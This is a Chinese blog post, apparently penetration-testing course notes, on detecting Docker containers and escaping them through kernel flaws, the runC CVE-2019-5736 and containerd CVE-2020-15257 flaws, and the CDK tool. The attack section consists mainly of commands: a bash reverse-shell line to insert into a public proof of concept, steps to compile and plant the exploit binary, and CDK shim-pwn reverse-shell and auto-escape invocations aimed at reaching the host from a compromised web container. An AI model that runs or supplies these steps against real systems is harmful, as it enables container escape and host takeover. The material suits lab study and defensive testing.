• 云上攻防-云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸


    知识点

    1、云原生-Docker安全-容器逃逸&内核漏洞
    2、云原生-Docker安全-容器逃逸&版本漏洞
    3、云原生-Docker安全-容器逃逸&CDK自动化

    章节点:

    云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等
    云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
    云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等
    云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等
    
    • 1
    • 2
    • 3
    • 4

    1、Docker是干嘛的?

    一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。
    
    • 1

    2、Docker对于渗透测试影响?

    攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限
    
    • 1

    在这里插入图片描述

    3、前渗透-判断是否在容器中

    前提:拿到权限
    https://blog.csdn.net/qq_23936389/article/details/131486643

    方式一:查询cgroup信息

    最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。

    cat /proc/1/cgroup
    
    • 1

    docker 环境下:
    在这里插入图片描述
    K8s环境下:
    在这里插入图片描述

    方式二:检查/.dockerenv文件

    通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。
    K8s&docker环境下:

    ls -alh /.dockerenv 
    
    • 1

    可以找到文件。
    在这里插入图片描述

    方式三:查看端口运行情况

    netstat -anpt
    
    • 1

    在这里插入图片描述

    4、后渗透-三种安全容器逃逸

    特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
    危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
    docker自身版本漏洞&系统内核漏洞(软件版本漏洞和系统漏洞 高低权限都可用)
    
    • 1
    • 2
    • 3

    参考地址:https://wiki.teamssix.com/CloudNative/

    一、演示案例-云原生-Docker安全-容器逃逸&系统内核漏洞

    细节部分在权限提升章节会详解,常用:

    CVE-2016-5195 CVE-2019-16884 CVE-2021-3493 
    CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222
    
    • 1
    • 2

    二、演示案例-云原生-Docker安全-容器逃逸&docker版本漏洞

    CVE-2019-5736 runC容器逃逸(需要管理员配合触发)

    影响版本:

    Docker version <= 18.09.2
    RunC version <= 1.0-rc6
    
    • 1
    • 2

    在这里插入图片描述

    1、安装docker对应版本

    apt-get update
    
    apt-get install -y apt-transport-https ca-certificates curl software-properties-common
    
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
    
    add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
    
    apt-get update
    
    apt-cache madison docker-ce
    
    apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    在这里插入图片描述
    在这里插入图片描述

    2、启动靶场环境测试

    docker run -itd --cap-add=SYS_ADMIN ubuntu:latest
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    3、编译修改后EXP后等待管理员进入容器执行

    https://github.com/Frichetten/CVE-2019-5736-PoC
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'
    
    • 1

    修改完毕后,要把这个main.go编译成main文件
    在这里插入图片描述

    CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    docker cp main 7f4793f3ac0cd13:/
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    chmod 777 main
    
    • 1

    在这里插入图片描述
    执行main文件

    ./main
    
    • 1

    在这里插入图片描述
    真实系统管理员重新进入该容器触发反弹shell

    docker exec -it 7f4793f3ac0cd13 /bin/bash
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    4、实验获取云服务器上docker搭建的Web权限后进行逃逸

    docker run -it -p 8888:8080 vulhub/struts2:s2-053
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    该工具只能上传脚本文件目录,没法上传一些执行程序,需要拿到webshell利用webshell链接工具上传执行程序。

    查看当前网站目录
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    CVE-2020-15257 containerd逃逸(启动容器时有前提参数)

    影响版本:

    containerd < 1.4.3
    containerd < 1.3.9
    
    • 1
    • 2

    1、安装docker对应版本

    apt-get update
    
    apt-get install ca-certificates curl software-properties-common
    
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
    
    add-apt-
    repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
    apt-get update
    
    apt-cache madison docker-ce
    
    apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    2、启动环境测试:

    docker pull ubuntu:18.04
    docker run -itd --net=host ubuntu:18.04 /bin/bash  //--net=host是前提条件,不加这个参数启动的docker没有这个漏洞
    docker exec -it 5be3ed60f152 /bin/bash
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    3、上传CDK工具自动逃逸反弹

    在这里插入图片描述

    docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp
    
    • 1

    在这里插入图片描述

    chmod 777 cdk_linux_amd64
    ./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx  //这是指定漏洞利用
    ./cdk_linux_amd64 auto-escape id //自动化漏洞扫描
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    在这里插入图片描述

    4、实验获取到docker搭建的Web权限后进行逃逸

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    三、演示案例-云原生-Docker安全-容器逃逸&CDK自动化

    项目地址

    https://github.com/cdk-team/CDK
    不支持系统内核漏洞
    在这里插入图片描述

    在这里插入图片描述

    演示-特权模式

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    也可以指定漏洞利用
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    RabbitMQ系列【2】核心概念
    代码随想录 --- day21 --- 530.二叉搜索树的最小绝对差、501.二叉搜索树中的众数 、236. 二叉树的最近公共祖先
    【springcloud系列】nacos服务注册实现
    Linux操作命令和常用工具1
    后端每日一题 2:DNS 解析过程
    霸道的 AliPaladin64.sys
    Java需求文档的写法
    面试题:SpringBoot 自动装配原理
    python篇----进程+线程
    如何优雅地画一张图
  • 原文地址:https://blog.csdn.net/m0_60571842/article/details/136423665